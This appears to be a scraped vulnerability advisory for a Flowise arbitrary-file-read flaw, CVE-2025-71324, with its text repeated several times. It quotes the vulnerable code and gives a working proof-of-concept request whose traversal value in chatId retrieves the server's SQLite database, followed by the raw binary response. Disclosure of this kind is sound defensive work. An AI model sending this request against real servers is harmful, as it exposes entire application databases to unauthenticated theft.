CVE-2025-71324

Flowise before 3.0.6 contains an arbitrary file read vulnerability in the chatId parameter of the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints. The chatId value is not validated and is passed to streamStorageFile(), where a fallback file-lookup path constructed without the orgId is evaluated after the storage-directory containment check, allowing path traversal beyond the intended storage directory. Unauthenticated attackers can read sensitive files such as /root/.flowise/database.sqlite, exposing all database content in the default configuration.

Flowise before 3.0.6 contains an arbitrary file read vulnerability in the chatId parameter of the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints. The chatId value is not validated and is passed to streamStorageFile(), where a fallback file-lookup path constructed without the orgId is evaluated after the storage-directory containment check, allowing path traversal beyond the intended storage directory. Unauthenticated attackers can read sensitive files such as /root/.flowise/database.sqlite, exposing all database content in the default configuration.

Flowise before 3.0.6 contains an arbitrary file read vulnerability in the chatId parameter of the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints. The chatId value is not validated and is passed to streamStorageFile(), where a fallback file-lookup path constructed without the orgId is evaluated after the storage-directory containment check, allowing path traversal beyond the intended storage directory. Unauthenticated attackers can read sensitive files such as /root/.flowise/database.sqlite, exposing all database content in the default configuration.

Summary

An arbitrary file read vulnerability in the chatId parameter supplied to both the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints allows unauthenticated users to read unintended files on the local filesystem. In the default Flowise configuration this allows reading of the local sqlite db and subsequent compromise of all database content.

Details

Both the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints accept the chatId parameter and pass this to a subsequent call to streamStorageFile().

const chatflowId = req.query.chatflowId as string
const chatId = req.query.chatId as string
const fileName = req.query.fileName as string

...
 const fileStream = await streamStorageFile(chatflowId, chatId, fileName, orgId)

While streamStorageFile validates that the chatflowId is a UUID and strips traversal sequences from fileName, it performs no validation of chatId.

    // Validate chatflowId
    if (!chatflowId || !isValidUUID(chatflowId)) {
        throw new Error('Invalid chatflowId format - must be a valid UUID')
    }

    // Check for path traversal attempts
    if (isPathTraversal(chatflowId)) {
        throw new Error('Invalid path characters detected in chatflowId')
    }
...
    const sanitizedFilename = sanitize(fileName)
...
	const filePath = path.join(getStoragePath(), orgId, chatflowId, chatId, sanitizedFilename)

There is validation that the resulting filePath is restricted to the /root/.flowise/storage directory.

if (!filePath.startsWith(getStoragePath())) throw new Error(`Invalid file path`)

However, if the file is not found in the specified path, the orgId value is removed from the filePath and reattempted.

        if (fs.existsSync(filePath)) {
            return fs.createReadStream(filePath)
        } else {
            // Fallback: Check if file exists without orgId
            const fallbackPath = path.join(getStoragePath(), chatflowId, chatId, sanitizedFilename)

            if (fs.existsSync(fallbackPath)) {
                // Create directory if it doesn't exist
                const dir = path.dirname(filePath)
                if (!fs.existsSync(dir)) {
                    fs.mkdirSync(dir, { recursive: true })
                }

                // Copy file to correct location with orgId
                fs.copyFileSync(fallbackPath, filePath)

                // Delete the old file
                fs.unlinkSync(fallbackPath)

                // Clean up empty directories recursively
                _cleanEmptyLocalFolders(path.join(getStoragePath(), chatflowId, chatId))

                return fs.createReadStream(filePath)

As this fallback path is read after the /root/.flowise/storage check, this allows an additional level of traversal up to /root/.flowise/. As a result, this allows reading of /root/.flowise/database.sqlite, which contains all database content in the default Flowise configuration.

REQUEST

GET /api/v1/get-upload-file?chatflowId=188903b1-d06d-4f93-9415-400015b87146&chatId=../.././&fileName=database.sqlite HTTP/1.1
Host: 127.0.0.1:3000

RESPONSE

HTTP/1.1 200 OK
Vary: Origin
Access-Control-Allow-Credentials: true
Content-Disposition: attachment; filename="database.sqlite"
Date: Tue, 22 Jul 2025 06:43:51 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 385024

SQLite format 3��

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l–…

Flowise before 3.0.6 contains an arbitrary file read vulnerability in the chatId parameter of the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints. The chatId value is not validated and is passed to streamStorageFile(), where a fallback file-lookup path constructed without the orgId is evaluated after the storage-directory containment check, allowing path traversal beyond the intended storage directory. Unauthenticated attackers can read sensitive files such as /root/.flowise/database.sqlite, exposing all database content in the default configuration.

Flowise before 3.0.6 contains an arbitrary file read vulnerability in the chatId parameter of the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints. The chatId value is not validated and is passed to streamStorageFile(), where a fallback file-lookup path constructed without the orgId is evaluated after the storage-directory containment check, allowing path traversal beyond the intended storage directory. Unauthenticated attackers can read sensitive files such as /root/.flowise/database.sqlite, exposing all database content in the default configuration.

Summary

An arbitrary file read vulnerability in the chatId parameter supplied to both the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints allows unauthenticated users to read unintended files on the local filesystem. In the default Flowise configuration this allows reading of the local sqlite db and subsequent compromise of all database content.

Details

Both the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints accept the chatId parameter and pass this to a subsequent call to streamStorageFile().

const chatflowId = req.query.chatflowId as string
const chatId = req.query.chatId as string
const fileName = req.query.fileName as string

...
 const fileStream = await streamStorageFile(chatflowId, chatId, fileName, orgId)

While streamStorageFile validates that the chatflowId is a UUID and strips traversal sequences from fileName, it performs no validation of chatId.

    // Validate chatflowId
    if (!chatflowId || !isValidUUID(chatflowId)) {
        throw new Error('Invalid chatflowId format - must be a valid UUID')
    }

    // Check for path traversal attempts
    if (isPathTraversal(chatflowId)) {
        throw new Error('Invalid path characters detected in chatflowId')
    }
...
    const sanitizedFilename = sanitize(fileName)
...
	const filePath = path.join(getStoragePath(), orgId, chatflowId, chatId, sanitizedFilename)

There is validation that the resulting filePath is restricted to the /root/.flowise/storage directory.

if (!filePath.startsWith(getStoragePath())) throw new Error(`Invalid file path`)

However, if the file is not found in the specified path, the orgId value is removed from the filePath and reattempted.

        if (fs.existsSync(filePath)) {
            return fs.createReadStream(filePath)
        } else {
            // Fallback: Check if file exists without orgId
            const fallbackPath = path.join(getStoragePath(), chatflowId, chatId, sanitizedFilename)

            if (fs.existsSync(fallbackPath)) {
                // Create directory if it doesn't exist
                const dir = path.dirname(filePath)
                if (!fs.existsSync(dir)) {
                    fs.mkdirSync(dir, { recursive: true })
                }

                // Copy file to correct location with orgId
                fs.copyFileSync(fallbackPath, filePath)

                // Delete the old file
                fs.unlinkSync(fallbackPath)

                // Clean up empty directories recursively
                _cleanEmptyLocalFolders(path.join(getStoragePath(), chatflowId, chatId))

                return fs.createReadStream(filePath)

As this fallback path is read after the /root/.flowise/storage check, this allows an additional level of traversal up to /root/.flowise/. As a result, this allows reading of /root/.flowise/database.sqlite, which contains all database content in the default Flowise configuration.

REQUEST

GET /api/v1/get-upload-file?chatflowId=188903b1-d06d-4f93-9415-400015b87146&chatId=../.././&fileName=database.sqlite HTTP/1.1
Host: 127.0.0.1:3000

RESPONSE

HTTP/1.1 200 OK
Vary: Origin
Access-Control-Allow-Credentials: true
Content-Disposition: attachment; filename="database.sqlite"
Date: Tue, 22 Jul 2025 06:43:51 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 385024

SQLite format 3��

�@  ���6���^���A��������������������
�����������������������������������6�.r¢ö�Ú����ZûìñæàÚÛ	�Ï
l–…